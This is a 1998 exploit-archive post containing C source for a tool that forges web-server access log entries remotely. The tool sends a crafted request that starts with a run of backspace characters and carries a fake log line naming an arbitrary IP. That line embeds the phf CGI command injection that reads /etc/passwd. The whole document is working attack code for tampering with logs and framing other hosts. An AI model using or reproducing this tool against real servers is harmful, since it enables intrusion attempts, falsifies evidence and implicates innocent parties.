This program can add the fake log to HTTPd remotely. Posted by root., Jan.08,1998
973bdafafcf97232c3e363dbb2a5b2b6aaa53f9c5fe933b53fd19c0c3c06cfd7
/* HTTPd Remote fake log adder
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/in_systm.h>
#include <arpa/inet.h>
#define PUT_METHOD "GET /cgi-bin/phf?Qalias=x%0d%0a/bin/cat%20/etc/passwd"
#define REQ_VER "HTTP/1.0"
#define JISA "+0900"
char *mon_[] = { "Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec" };
int main( int argc, char argv[] )
{
char tmp_buffer[256], fuck_bs[256];
int sock_send, loop;
long t;
struct sockaddr_in addr;
struct tm *tmbuf;
if( argc != 3 )
{
printf( "Usage: %s <target ip_addr> <www server>\n", argv[0] );
exit( -1 );
}
if( ( sock_send = socket( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
perror( "socket" );
exit( -1 );
}
memset( &addr, 0, sizeof( struct sockaddr_in ) );
addr.sin_family = AF_INET;
addr.sin_port = htons( 80 );
addr.sin_addr.s_addr = inet_addr( argv[2] );
if( addr.sin_addr.s_addr == -1 || inet_addr( argv[1] ) == -1 )
{
fprintf( stderr, "Use Ip address(...)...\n" );
exit( -1 );
}
if( connect( sock_send, &addr, sizeof( addr ) ) == -1 )
{
perror( "connect" );
exit( -1 );
}
t = time( 0 );
tmbuf = localtime( &t );
for( loop = 0; loop < 255; loop++ )
fuck_bs[ loop ] = 0x08;
fuck_bs[255] = '\0';
sprintf( tmp_buffer,
"%s%s - - [%02d/%s/%04d:%02d:%02d:%02d %s] \"%s %s",
fuck_bs, argv[1], tmbuf->tm_mday,
mon_[tmbuf->tm_mon],
tmbuf->tm_year + 1900, tmbuf->tm_hour,
tmbuf->tm_min,
tmbuf->tm_sec, JISA, PUT_METHOD, REQ_VER );
if( send( sock_send, tmp_buffer, strlen( tmp_buffer ), 0 ) == -1 )
{
perror( "send" );
exit( -1 );
}
fprintf( stderr, " SUCCESS \n" );
exit( 0 );
}